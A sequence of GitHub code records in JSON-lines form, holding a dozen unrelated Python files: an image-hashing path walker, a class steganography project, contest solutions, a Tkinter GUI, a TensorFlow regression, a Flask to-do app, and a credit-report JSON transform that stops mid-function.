pbar.add_to_total()\n\n paths: List[ImageFingerprint._WalkedPath] = []\n\n for search_path in search_paths:\n\n if search_path.is_file():\n paths.append(\n ImageFingerprint._WalkedPath(\n path=search_path, from_dir_search=False\n )\n )\n add_to_pbar()\n\n elif search_path.is_dir():\n for child_path in search_path.rglob(\"*\"):\n if child_path.is_file():\n paths.append(\n ImageFingerprint._WalkedPath(\n path=child_path, from_dir_search=True\n )\n )\n add_to_pbar()\n\n else:\n raise NotReadableException(\n f'Search path \"{search_path}\" is not a file or directory that can be read.'\n )\n\n return paths\n\n @classmethod\n def recurse_paths(\n cls,\n search_paths: Iterable[Path],\n algorithm: Algorithm,\n algo_params: Optional[Dict[str, Optional[Union[str, bool, int]]]] = None,\n ) -> Generator[ImageFingerprint, None, None]:\n \"\"\"\n Yields ImageFingerprint objects for all child paths in the iterable search_paths that are\n images.\n\n search_paths should be a list of Path objects. They may point to different types of path:\n - If the path is actually a directory, it will be recursed into and only hashable images\n yielded. This avoids any issues with hidden files, files that aren't images, etc.\n - If the path is a file, and it is not hashable, an exception will be thrown. Otherwise,\n it is yielded.\n\n Only unique paths will be yielded.\n \"\"\"\n seen_paths: Set[Path] = set()\n pbar = SearchProgressBar()\n\n with pbar:\n paths = cls._walk_paths(search_paths, pbar=pbar)\n\n for walked_path in paths:\n if walked_path.path in seen_paths:\n pbar.add_skip(walked_path.path)\n continue\n\n try:\n yield ImageFingerprint.from_path(\n path=walked_path.path,\n algorithm=algorithm,\n algo_params=algo_params,\n )\n except HashingException:\n if walked_path.from_dir_search:\n pbar.add_skip(walked_path.path)\n continue\n raise\n else:\n pbar.add_hash(walked_path.path)\n finally:\n seen_paths.add(walked_path.path)\n","repo_name":"t-mart/imagesearch","sub_path":"imagesearch/fingerprint.py","file_name":"fingerprint.py","file_ext":"py","file_size_in_byte":4576,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"16325641121","text":"from typing import Union, Tuple\n\nimport numpy as np\nfrom cv2 import cv2\nfrom CryptoSystem.Ciphers import Cipher\nfrom CryptoSystem.Ciphers.Image import ImageCipher\nfrom CryptoSystem.Exceptions import ImageTooSmallException\nfrom CryptoSystem.Key import Key, KeyPart\nfrom CryptoSystem.Steganography import extract_message, get_minimum_size, embed_message\n\n\ndef encrypt(text: str, image: Union[str, np.ndarray], text_key: KeyPart, cipher: Cipher) -> Tuple[str, np.ndarray, Key]:\n \"\"\"\n raises: ImageTooSmallException\n \"\"\"\n # Text Encryption\n encrypted_text = cipher.encrypt(text, text_key)\n\n # Image Steganography\n if type(image) is str:\n image = cv2.imread(image, cv2.IMREAD_ANYCOLOR)\n\n if(get_minimum_size(encrypted_text) > image.size):\n raise ImageTooSmallException()\n\n embedded_message = embed_message(encrypted_text, image)\n\n rows, cols = embedded_message.shape[:2]\n row_key, col_key = ImageCipher.generate_key_part((rows, cols))\n key = Key(text_key, row_key, col_key)\n encrypted_image = ImageCipher.encrypt(embedded_message, key)\n\n return (encrypted_text, encrypted_image, key)\n\ndef decrypt(image: Union[str, np.ndarray], key: Key, cipher: Cipher) -> Tuple[str, np.ndarray]:\n if type(image) is str:\n image = cv2.imread(image, cv2.IMREAD_ANYCOLOR)\n\n decrypted_image = ImageCipher.decrypt(image, key)\n cv2.imwrite(\"DecryptedImage.png\", decrypted_image)\n # Steganography Extraction\n encrypted_message = extract_message(decrypted_image)\n # Decrypted Message\n decrypted_message = cipher.decrypt(encrypted_message, key)\n return (decrypted_message, decrypted_image)\n\n","repo_name":"JustinFirsching/CS532-Cryptography-Project","sub_path":"CryptoSystem/Strategy.py","file_name":"Strategy.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3209150132","text":"from typing import List\n\n\nclass Solution:\n def topStudents(self, positive_feedback: List[str], negative_feedback: List[str], report: List[str], student_id: List[int], k: int) -> List[int]:\n positive_feedback_set = set(positive_feedback)\n negative_feedback_set = set(negative_feedback)\n scores = []\n for s, r in zip(student_id, report):\n words = r.split()\n score = 0\n for word in words:\n if word in positive_feedback_set:\n score += 3\n if word in negative_feedback_set:\n score -= 1\n scores.append((score, s))\n scores.sort(key= lambda d:(-d[0], d[1]))\n ans = []\n for i in range(k):\n ans.append(scores[i][1])\n return ans\n\nif __name__ == '__main__':\n solution = Solution()\n positive_feedback = [\"smart\", \"brilliant\", \"studious\"]\n negative_feedback = [\"not\"]\n report = [\"this student is studious\",\"the student is smart\"]\n student_id = [1,2]\n # positive_feedback = [\"smart\", \"brilliant\", \"studious\"]\n # negative_feedback = [\"not\"]\n # report = [\"this student is not studious\",\"the student is smart\"]\n # student_id = [1,2]\n # k = 2\n\n k = 2\n res = solution.topStudents(positive_feedback, negative_feedback,report, student_id, k)\n print(res)","repo_name":"foreverxujiahuan/algorithm","sub_path":"竞赛/A94/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"17620558693","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom PIL import Image, ImageTk\nimport Tools\n\n\nclass ImageEditor(tk.Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.master = master\n self.master.title(\"Reconocimiento de Patrones: Clasificación Bayesiana\")\n self.master.geometry(\"600x600\")\n self.pack()\n\n # Create widgets\n self.open_button = tk.Button(self, text=\"Open\", command=self.open_images)\n self.label_textbox_classes = tk.Label(self, text=\"Select the number of classes on the current image: \")\n self.textbox_classes = tk.Entry(self)\n\n\n # Add widgets to layout\n self.open_button.pack(side=\"top\")\n self.label_textbox_classes.pack_forget() # Hide initially\n self.textbox_classes.pack_forget() # Hide initially\n\n # Initialize variables\n self.images = []\n self.canvases = []\n self.num_classes = None # Initialize to None\n\n def open_images(self):\n filenames = filedialog.askopenfilenames()\n if filenames:\n self.label_textbox_classes.pack(side=\"top\")\n self.textbox_classes.pack(side=\"top\")\n\n # Wait for the user to enter the number of classes before processing images\n self.textbox_classes.focus_set()\n self.textbox_classes.bind(\"\", self.process_images)\n\n def process_images(self, event):\n self.num_classes = int(self.textbox_classes.get())\n self.label_textbox_classes.pack_forget()\n self.textbox_classes.pack_forget()\n self.textbox_classes.delete(0, \"end\") # Clear the textbox\n\n # Process each selected image\n for filename in filedialog.askopenfilenames():\n image = Tools.GaussianFilter(filename)\n self.images.append(image)\n photo = ImageTk.PhotoImage(image)\n\n canvas = tk.Canvas(self, width=photo.width(), height=photo.height())\n canvas.create_image(0, 0, image=photo, anchor=\"nw\")\n canvas.pack()\n self.canvases.append(canvas)\n\n # Wait for the user to close the canvas before opening the next image\n canvas.bind(\"\", lambda event: canvas.destroy())\n canvas.wait_window()\n\n Tools.CropClasses(filename.rstrip(\".jpg\")+\".png\")\n\n # Do something with self.num_classes and self.images here\n print(\"Number of classes:\", self.num_classes)\n print(\"Images processed:\", len(self.images))\n\n\nroot = tk.Tk()\napp = ImageEditor(master=root)\napp.mainloop()\n","repo_name":"andresbasilea/BayesClassifierImages","sub_path":"Old/prueba.py","file_name":"prueba.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40836116805","text":"\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv('./dataset/Advertising.csv')\n\n# plt.scatter(data.TV, data.sales)\n# plt.show()\n\nx = data.iloc[:, 1:-1] # TV,radio,newspaper三列数据\ny = data.iloc[:, -1] # sales列数据\n\n\"\"\"\nDense:\n参数1:输出10个数据\n参数2: input_shape= 输入数据3个\n参数3: activation= 激活函数\n\"\"\"\nmodel = tf.keras.Sequential([tf.keras.layers.Dense(10, input_shape=(3,), activation='relu'), # 隐藏层\n tf.keras.layers.Dense(1)]) # 输出层\nmodel.summary() # 显示 层\n\nmodel.compile(optimizer='adam', loss='mse') # 输出只有1个数,用mse\n\n# 训练\nhistory = model.fit(x, y, epochs=500) # 训练100次\n\n# 预测\nprint(model.predict(x[:10])) # 使用模型出输出\nprint(model.predict([[230.1, 37.8, 69.2], [67.8,36.6,114]])) # 使用模型出输出\n","repo_name":"TysonSir/china-vis-2017","sub_path":"人工智能/rygh_tensorflow/02-advertising.py","file_name":"02-advertising.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31291561094","text":"'''\n The pickle module implements binary protocols for serializing and\n de-serializing a Python object structure.\n\n Used for python projects only.\n'''\n# https://www.geeksforgeeks.org/understanding-python-pickling-example/\n\nimport pickle\n\ndata = {'A': {'d': 400, 'e': 500, 'f': 600, 'a': 200},\n 'B': {'d': 400, 'e': 500, 'f': 600, 'a': 200}}\n\nwith open('text.txt', 'wb') as file:\n pickle.dump(data, file)\n\nwith open('text.txt', 'rb') as file:\n new = pickle.load(file)\n\nprint(new)\n","repo_name":"MikeKorsikov/PythonClasses","sub_path":"Lesson31n/Lesson31n_3.py","file_name":"Lesson31n_3.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23542445871","text":"# 2016 Africa Qualification Round - A. Counting Sheep\n# https://code.google.com/codejam/contest/6254486/dashboard#s=p0\n\ndef solve(pancakes, k):\n pancakes = list(map(lambda p: p == '+', pancakes))\n res = 0\n \n for i in range(len(pancakes)-k+1):\n # print(pancakes, i, pancakes[i])\n if not pancakes[i]:\n res += 1\n for j in range(k):\n pancakes[i+j] = not pancakes[i+j]\n\n if sum(pancakes) == len(pancakes):\n return res\n else:\n return 'IMPOSSIBLE'\n\n#input, solve and output:\nfile = 'A-large'\ninput = open(file+'.in', 'r')\noutput = open(file+'.out', 'w')\n\nn_cases = int(input.readline())\nfor case in range(1, n_cases+1):\n pancakes, k = input.readline().split()\n result = solve(pancakes, int(k))\n\n result_output = 'Case #%s: %s\\n' %(case, result)\n # print(result_output)\n output.write(result_output)\n\ninput.close()\noutput.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2104.py","file_name":"2104.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6296078340","text":"import sys\nsys.stdin = open('input.txt')\n\n#지나간 경로 저장 함수\ndef dfs(s, V):\n visited = [0]*(V+1)\n stack = [] #1,2,4,6,5,7,3 경로 저장\n i = s #현재 방문한 접점 i\n visited[i] = 1 #현재 시작점 == True(1)\n #node[i] = 1 i는 1\n print(node[i])\n while i != 0: #True\n for w in range(1, V+1):\n #인접하고 아직 방문 x\n if adj[i][w] == 1 and visited[w] == 0 :\n stack.append(i) #방문경로저장\n i = w\n visited[w] = 1 #현 정점 업데이트\n print(node[i])\n break #방문 1회 했으니 break\n #for문 다 끝나고\n else:\n #stack에 값이 있으면\n if stack:\n i = stack.pop()\n else:\n i = 0 #break i가 0이면 while문 끝남\nV = 7 #접점 갯수 1~7\nE = 8 #엣지 갯수\nconnect = list(map(int, input().split()))\n#점\nconnect_pt = []\nfor i in range(0, len(connect), 2):\n #1,2 1,3 2,4 이렇게 점 좌표들을 넣는다\n sub = [connect[i], connect[i+1]]\n connect_pt.append(sub)\n\n# print(connect_pt)\n#connect_pt의 좌표들에 1을 넣어라\n\nadj = [[0]*(V+1) for _ in range(V+1)] #행,열이 0~7까지\n\n#connect_pt에 해당하는 값들마다 바꿔줄거니까\nfor i in range(len(connect_pt)):\n x = connect_pt[i][0] # connect_pt에서의 각 리스트 x좌표\n y = connect_pt[i][1] # connect_pt에서의 각 리스트 y좌표\n adj[x][y] = 1\n adj[y][x] = 1\n# print(adj)\n\nnode = ['',1,2,3,4,5,6,7]\n#1은 시작점, 7은 숫자의 개수다\ndfs(1,7)\n\n#함수 내에 프린트가 있는 경우 함수 호출만 해줘도 결과가 나온다\n#함수 내에 프린트가 있는 경우, 프린트로 함수를 다시 불러오면 결과와 함께 마지막에\n#None을 반환한다\n\n#이를 방지하기 위해, 함수 내에 프린트 대신, return을 써준다.!~!~!~!!~\n#이 경우에는 무조건 함수를 프린트로 불러와야한다. 오~!!!넹! ㅎㅎ\n\n#위의 두가지 방법은 틀린 것이 아니라, 다른 것이다!!!!","repo_name":"huisso97/Algorithm-Python","sub_path":"swea/practice3/practice3.py","file_name":"practice3.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40874365919","text":"#!/usr/bin/env python3\n\n\"\"\"\nCreated on 21 Jul 2016\n\n@author: Bruno Beloff (bruno.beloff@southcoastscience.com)\n\nDESCRIPTION\nThe single_chart utility is used to display a Matplotlib categorical chart for one or more data sources. Data is\nprovided by a sequence of JSON documents on stdin. The charting source is specified by a path to a leaf node in the\nJSON document.\n\nAn optional \"batch\" (\"-b\") flag can be set, causing the plotting only to take place when all data points have been\nreceived.\n\nA \"relative\" (\"-r\") option ploys the first data point at y position zero, and all subsequent points relative to the\nfirst point. This is useful when examining noise on a signal whose absolute values may be far from zero.\n\nNote that the chart is a simple approximation to a timeline chart - values are plotted successively, with no account\ntaken of the interval between samples.\n\nDepending on operating system, it may be necessary to edit the matplotlibrc file, which specifies the Matplotlib\nback-end graphics system.\n\nSYNOPSIS\nsingle_chart.py [-b] [-r] [-x POINTS] [-y MIN MAX] [-e] [-v] [PATH]\n\nEXAMPLES\nsocket_receiver.py | single_chart.py -r val.afe.sns.CO.cnc\n\nFILES\n~/SCS/scs_analysis/src/scs_analysis/matplotlibrc\n\nSEE ALSO\nscs_analysis/histo_chart\nscs_analysis/multi_chart\n\"\"\"\n\nimport sys\nimport warnings\n\nfrom scs_analysis.chart.single_chart import SingleChart\nfrom scs_analysis.cmd.cmd_single_chart import CmdSingleChart\n\nfrom scs_core.data.json import JSONify\nfrom scs_core.data.path_dict import PathDict\n\nfrom scs_core.sync.line_reader import LineReader\n\n\n# --------------------------------------------------------------------------------------------------------------------\n\nif __name__ == '__main__':\n\n warnings.filterwarnings(\"ignore\", module=\"matplotlib\")\n\n # ----------------------------------------------------------------------------------------------------------------\n # cmd...\n\n cmd = CmdSingleChart()\n\n if cmd.verbose:\n print(\"single_chart: %s\" % cmd, file=sys.stderr)\n\n chart = None\n proc = None\n\n try:\n # ------------------------------------------------------------------------------------------------------------\n # resources...\n\n # reader...\n reader = LineReader(sys.stdin.fileno())\n\n if cmd.verbose:\n print(\"single_chart: %s\" % reader, file=sys.stderr)\n\n # chart...\n chart = SingleChart(cmd.batch_mode, cmd.x, cmd.y[0], cmd.y[1], cmd.relative, cmd.path)\n\n if cmd.verbose:\n print(\"single_chart: %s\" % chart, file=sys.stderr)\n sys.stderr.flush()\n\n\n # ------------------------------------------------------------------------------------------------------------\n # run...\n\n proc = reader.start()\n\n for line in reader.lines:\n if chart.closed:\n break\n\n if line is None:\n chart.pause()\n continue\n\n datum = PathDict.construct_from_jstr(line)\n\n if datum is None:\n break\n\n if cmd.echo:\n print(JSONify.dumps(datum.node()))\n sys.stdout.flush()\n\n chart.plot(datum)\n\n\n # ----------------------------------------------------------------------------------------------------------------\n # end...\n\n except KeyboardInterrupt:\n if cmd.verbose:\n print(\"single_chart: KeyboardInterrupt\", file=sys.stderr)\n\n\n # ----------------------------------------------------------------------------------------------------------------\n # close...\n\n finally:\n if proc:\n proc.terminate()\n\n if chart is not None and not chart.closed:\n if cmd.verbose:\n print(\"single_chart: holding\", file=sys.stderr)\n\n # noinspection PyBroadException\n\n try:\n chart.hold()\n except Exception:\n pass\n","repo_name":"seoss/scs_analysis","sub_path":"src/scs_analysis/single_chart.py","file_name":"single_chart.py","file_ext":"py","file_size_in_byte":3921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"8637771756","text":"\"\"\"SeasonData Module\n\n creates a dataframe for each team in the NCAA per Season year\n main form of data extraction\n\"\"\"\nfrom queue import Queue\nimport pandas as pd\nfrom team import Team\nfrom matchup import Matchup\nfrom bracket import *\n\nclass SeasonData:\n \"\"\"SeasonData Class\n\n Attributes:\n teams (dict): dictionary where team is key and data is value\n year (int): seaosn year\n matchups (queue): queue of teams \n bracket (list): bracket of matchups\n \n \"\"\"\n def __init__(self, year, coach_file, basic_file, adv_file):\n \"\"\"initialized dataframe\"\"\"\n\n self.teams = {}\n self.year = year\n self.matchups = []\n self.bracket = None # Initial bracket is blank\n\n coach_df = None\n bas_df = None\n adv_df = None\n # Load data files\n try:\n coach_df = pd.read_csv(coach_file, header=[1])\n coach_df = coach_df.drop([\"W\", \"L\", \"W-L%\", \"AP Pre\", \"AP Post\", \"NCAA Tournament\"], axis=1)\n except:\n print(\"Error loading coach data csv.\")\n try:\n bas_df = pd.read_csv(basic_file, header=[1])\n except:\n print(\"Error loading basic data csv.\")\n try:\n adv_df = pd.read_csv(adv_file, header=[1])\n except:\n print(\"Error loading advanced data csv.\")\n\n if (coach_df is not None) and (bas_df is not None):\n # If dataframes are passed, initialize teams.\n # Iterate through adv and basic data frames to fill\n # out team informations into Team objects, stored in\n # self.teams\n merged_inner = pd.merge(left=bas_df, right=adv_df, left_on='School', right_on='School')\n num_teams = bas_df.shape[0]\n for i in range(num_teams):\n team_row = merged_inner.loc[i, :]\n team_name = team_row['School']\n # Trim 'NCAA' from the name\n if \"NCAA\" in team_name:\n team_name = team_name[:-5]\n # Get coach data (single row corresponding to school name.)\n coach_row = coach_df.loc[coach_df['School'] == team_name].squeeze()\n self.teams[team_name] = Team(self.year, team_row, coach_row)\n\n\n\n # Getters\n def get_team(self, team_name):\n \"\"\"Returns Team object\"\"\"\n return self.teams[team_name]\n\n def get_matchups(self):\n \"\"\"Returns stored list of matchups, to be used however.\"\"\"\n # Likely as init arg to form Bracket object.\n return self.matchups\n\n # Mutators (Add / Remove)\n def new_matchup(self, team1, team2):\n \"\"\"creates and adds a matchup to queue\n \n args:\n team1 (str or team obj): team1\n team2 (str or team obj): team2\n \"\"\"\n if isinstance(team1, str):\n team1 = self.get_team(team1)\n if isinstance(team2, str):\n team2 = self.get_team(team2)\n self.add_matchup(Matchup(team1, team2))\n\n def add_matchup(self, matchup):\n \"\"\"Adds a matchup to matchup queue.\"\"\"\n self.matchups.append(matchup)\n print(\"New matchup added:\", matchup.team1.get_team_name(), \"&\", matchup.team2.get_team_name())\n\n def new_bracket(self):\n \"\"\"creates new bracket\"\"\"\n self.bracket = Bracket(self.matchups)\n","repo_name":"rohatd/RedTeamMarchMadness","sub_path":"seasondata.py","file_name":"seasondata.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73939357314","text":"from flask import Flask,render_template,request,redirect,url_for\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']='sqlite:///db.sqlite'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS']=False\ndb = SQLAlchemy(app)\n\nclass Fazer(db.Model):\n task_id=db.Column(db.Integer,primary_key=True)\n name=db.Column(db.String(100))\n feito=db.Column(db.Boolean)\n \n@app.route('/')\ndef home():\n fazer_list=Fazer.query.all()\n return render_template('index.html',fazer_list=fazer_list)\n\n@app.route('/add',methods=['POST'])\ndef add():\n name = request.form.get(\"name\")\n new_task=Fazer(name=name, feito=False)\n db.session.add(new_task)\n db.session.commit()\n return redirect(url_for('home'))\n\n@app.route('/atualizar/')\ndef atualizar(fazer_id):\n fazer= Fazer.query.get(fazer_id)\n fazer.feito=not fazer.feito\n db.session.commit()\n return redirect(url_for(\"home\"))\n\n@app.route('/delete/')\ndef delete(fazer_id):\n fazer= Fazer.query.get(fazer_id)\n db.session.delete(fazer)\n db.session.commit()\n return redirect(url_for(\"home\"))\n\nif __name__=='__main__':\n app.run()","repo_name":"cassianogremioibv/Assistente_Tarefa_Flask","sub_path":"tarefas_flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74354382915","text":"import math\r\nimport pickle\r\n\r\n# Function to calculate the expression y = tg(x)/sin(2x)\r\ndef calculate_expression(x):\r\n try:\r\n result = math.tan(x) / math.sin(2 * x)\r\n return result\r\n except ZeroDivisionError:\r\n print(\"Error: sin(2x) is undefined when tan(x) = 0.\")\r\n return None\r\n\r\n# Function to save data to a text file\r\ndef save_to_text_file(filename, data):\r\n with open(filename, 'w') as file:\r\n file.write(str(data) + '\\n')\r\n\r\n# Function to save data to a binary file\r\ndef save_to_binary_file(filename, data):\r\n with open(filename, 'wb') as file:\r\n pickle.dump(data, file)\r\n\r\n# Function to read data from a text file\r\ndef read_from_text_file(filename):\r\n data = []\r\n try:\r\n with open(filename, 'r') as file:\r\n data = (float(file.read()))\r\n except FileNotFoundError:\r\n print(f\"Error: File '{filename}' not found.\")\r\n return data\r\n\r\n# Function to read data from a binary file\r\ndef read_from_binary_file(filename):\r\n data = []\r\n try:\r\n with open(filename, 'rb') as file:\r\n data = pickle.load(file)\r\n except FileNotFoundError:\r\n print(f\"Error: File '{filename}' not found.\")\r\n return data\r\n\r\n# Get the value of x from the user\r\nx = float(input(\"y = tg(x)/sin(2x)\\nEnter x:\"))\r\nres = calculate_expression(x)\r\nprint(f\"result: {res}\")\r\n\r\n# Save the result to a text file\r\nsave_to_text_file(\"results.txt\", res)\r\n# Save the result to a binary file\r\nsave_to_binary_file(\"results.dat\", res)\r\n\r\n# Read the result from the text file\r\ntext_data = read_from_text_file(\"results.txt\")\r\n# Read the result from the binary file\r\nbinary_data = read_from_binary_file(\"results.dat\")\r\n\r\nprint(\"Results from text file:\", text_data)\r\nprint(\"Results from binary file:\", binary_data)","repo_name":"Olexandr-Dovganiuk/CPPT_Dovganiuk_OS_KI-306_1","sub_path":"LAB_8/LAB_8.py","file_name":"LAB_8.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10130845627","text":"import json\nimport pandas as pd\n\ndef transform_creditos_activos():\n TIPO_CREDITO = {\"1300\": \"ARREN PURO\",\n \"1301\": \"DESCUENTOS\",\n \"1302\": \"QUIROG\",\n \"1303\": \"COLATERAL\",\n \"1304\": \"PRENDAR\",\n \"1305\": \"SIMPLE\",\n \"1306\": \"P.G.U.I.\",\n \"1307\": \"HABILITACION\",\n \"1308\": \"REFACC\",\n \"1309\": \"I.E.P.B.S.\",\n \"1310\": \"VIVIENDA\",\n \"1311\": \"O.C. GARANTIA INMOB\",\n \"1314\": \"NO DISPONIBLE\",\n \"1316\": \"O.A.V.\",\n \"1317\": \"C.V.A.\",\n \"1320\": \"ARREN VIGENTE\",\n \"1321\": \"ARREN SINDICADO\",\n \"1322\": \"ARREND\",\n \"1323\": \"REESTRUCTURADOS\",\n \"1324\": \"RENOVADOS\",\n \"1327\": \"ARR. FINAN. SINDICADO\",\n \"1340\": \"REDESCUENTO\",\n \"1341\": \"O. REDESCUENTO\",\n \"1342\": \"RED. REESTRUCTURADOS\",\n \"1350\": \"PRESTAMOS C/FIDEICOMISOS GARANTÍA\",\n \"1380\": \"T. CRED. EMPRESARIALCORPORATIVA\",\n \"2303\": \"CARTAS DE CREDITO\",\n \"3011\": \"FACTORAJE C/REC\",\n \"3012\": \"FACTORAJE S/REC\",\n \"3230\": \"ANT.A.C.P.P.FACTORAJE\",\n \"3231\": \"ARREN VIGENTE\",\n \"6103\": \"ADEUDOS POR AVAL\",\n \"6105\": \"CARTAS DE CRÉDITOS NO DISPUESTAS\",\n \"6228\": \"FIDEICOMISOS PLANTA PRODUCTIVA\",\n \"6229\": \"UDIS FIDEICOMISOS EDOS\",\n \"6230\": \"UDIS FIDEICOMISOS VIVIENDA\",\n \"6240\": \"ABA PASEM II\",\n \"6250\": \"TARJETA DE SERVICIO\",\n \"6260\": \"CRÉDITO FISCAL\",\n \"6270\": \"CRÉDITO AUTOMOTRIZ\",\n \"6280\": \"LÍNEA DE CRÉDITO\",\n \"6290\": \"SEGUROS\",\n \"6291\": \"FIANZAS\",\n \"6292\": \"FONDOS Y FIDEICOMISOS\"}\n CLAVES_DE_OBSERVACION = {\n \"AD\": \"{\\\"AD\\\":\\\"Cuenta o monto en aclaración directamente con el Usuario\\\"}\",\n \"CA\": \"{\\\"CA\\\":\\\"Cuenta al corriente vendida o cedida a un Usuario de una Sociedad de Información Crediticia.\\\"}\",\n \"CC\": \"{\\\"CC\\\":\\\"Cuenta cancelada o cerrada\\\"}\",\n \"CL\": \"{\\\"CL\\\":\\\"Cuenta en cobranza pagada totalmente, sin causar quebranto\\\"}\",\n \"CO\": \"{\\\"CO\\\":\\\"Crédito en controversia\\\"}\",\n \"CP\": \"{\\\"CP\\\":\\\"Crédito hipotecario con bien inmueble declarado cómo pérdida parcial o total a causa de catástrofe natural, liquidado parcialmente por pago de Aseguradora\\\"}\",\n \"CT\": \"{\\\"CT\\\":\\\"Crédito hipotecario con bien inmueble declarado cómo pérdida parcial o total a causa de catástrofe natural, liquidado parcialmente por pago de Aseguradora\\\"}\",\n \"CV\": \"{\\\"CV\\\":\\\"Cuenta que no está al corriente vendida o cedida a un Usuario de Buró de Crédito\\\"}\",\n \"FD\": \"{\\\"FD\\\":\\\"Cuenta con fraude atribuible al Cliente\\\"\",\n \"FN\": \"{\\\"FN\\\":\\\"Fraude NO atribuible al Cliente\\\"}\",\n \"FP\": \"{\\\"FP\\\":\\\"Fianza pagada\\\"}\",\n \"FR\": \"{\\\"FR\\\":\\\"Adjudicación y/o aplicación de garantía\\\"}\",\n \"GP\": \"{\\\"GP\\\":\\\"Ejecución de Garantía Prendaria o Fiduciaria en Pago por Crédito.\\\"}\",\n \"IA\": \"{\\\"IA\\\":\\\"Cuenta Inactiva\\\"}\",\n \"IM\": \"{\\\"IM\\\":\\\"Integrante Causante de Mora\\\"}\",\n \"IS\": \"{\\\"IS\\\":\\\"Integrante que fue subsidiado para evitar mora.\\\"}\",\n \"LC\": \"{\\\"LC\\\":\\\"Convenio de finiquito con pago menor a la deuda, acordado con el Cliente (Quita)\\\"}\",\n \"LG\": \"{\\\"LG\\\":\\\"Pago menor de la deuda por programa institucional o de gobierno, incluyendo los apoyos a damnificados por catástrofes naturales (Quita)\\\"}\",\n \"LO\": \"{\\\"LO\\\":\\\"En Localización\\\"}\",\n \"LS\": \"{\\\"LS\\\":\\\"Tarjeta de Crédito robada o extraviada\\\"}\",\n \"NA\": \"{\\\"NA\\\":\\\"Cuenta al corriente vendida o cedida a un No Usuario de Buró de Crédito.\\\"}\",\n \"NV\": \"{\\\"NV\\\":\\\"Cuenta vencida vendida a un No Usuario de una Sociedad de Información Crediticia.\\\"}\",\n \"PC\": \"{\\\"PC\\\":\\\"Cuenta en Cobranza\",\n \"RA\": \"{\\\"RA\\\":\\\"Cuenta reestructurada sin pago menor, por programa institucional o gubernamental, incluyendo los apoyos a damnificados por catástrofes naturales\\\"}\",\n \"RI\": \"{\\\"RI\\\":\\\"Robo de identidad\\\"}\",\n \"RF\": \"{\\\"RF\\\":\\\"Resolución judicial favorable al Cliente\\\"}\",\n \"RN\": \"{\\\"RN\\\":\\\"Cuenta reestructurada debido a un proceso judicial\\\"}\",\n \"RV\": \"{\\\"RV\\\":\\\"Cuenta reestructurada sin pago menor por modificación de la situación del cliente, a petición de éste.\\\"}\",\n \"SG\": \"{\\\"SG\\\":\\\"Demanda por el Usuario\\\"}\",\n \"UP\": \"{\\\"UP\\\":\\\"Cuenta que causa castigo y/o quebranto\\\"}\",\n \"VR\": \"{\\\"VR\\\":\\\"Dación en pago o Renta\\\"}\"\n }\n with open(\"respuesta.json\",\"r\") as j:\n data=json.load(j)\n response_data = data[\"response\"][\"respuesta\"][\"creditoFinanciero\"]\n df_credito_financiero = pd.json_normalize(response_data).reset_index(drop=True)\n df_credito_financiero_rename = df_credito_financiero.rename(\n {\n 'numeroCuenta': 'contrato', 'tipoUsuario': 'tipoDeOtorgante', 'tipoCredito': 'tipoDeCredito',\n 'moneda': 'moneda', 'tipoCambio': 'tipoCambio', 'apertura': 'otorgadoEn', 'plazo': 'plazo',\n 'saldoInicial': 'original', 'saldoVigente': 'vigente', 'saldoVencidoDe1a29Dias': '1_29Dias',\n 'saldoVencidoDe30a59Dias': '30_59Dias', 'saldoVencidoDe60a89Dias': '60_89Dias',\n 'saldoVencidoDe90a119Dias': '90_119Dias', 'saldoVencidoDe120a179Dias': '120_179Dias',\n 'saldoVencidoDe180DiasOMas': 'masDe180Dias', 'atrasoMayor': 'diasDeAtraso',\n 'historicoPago': 'historicoDePagos', 'claveObservacion': 'clavesDeObservacion',\n 'ultimoPeriodoActualizado': 'actualizadoEn'\n }, axis=1)\n df_credito_financiero_rename['tipoDeCredito'] = df_credito_financiero_rename['tipoDeCredito'].\\\n map(TIPO_CREDITO)\n df_credito_financiero_rename['clavesDeObservacion'] = df_credito_financiero_rename['clavesDeObservacion'].\\\n map(CLAVES_DE_OBSERVACION)\n df_credito_financiero_rename['otorgadoEn'] = pd.to_datetime(df_credito_financiero_rename['otorgadoEn'],\n format='%d%m%Y').dt.strftime('%Y-%m-%d')\n 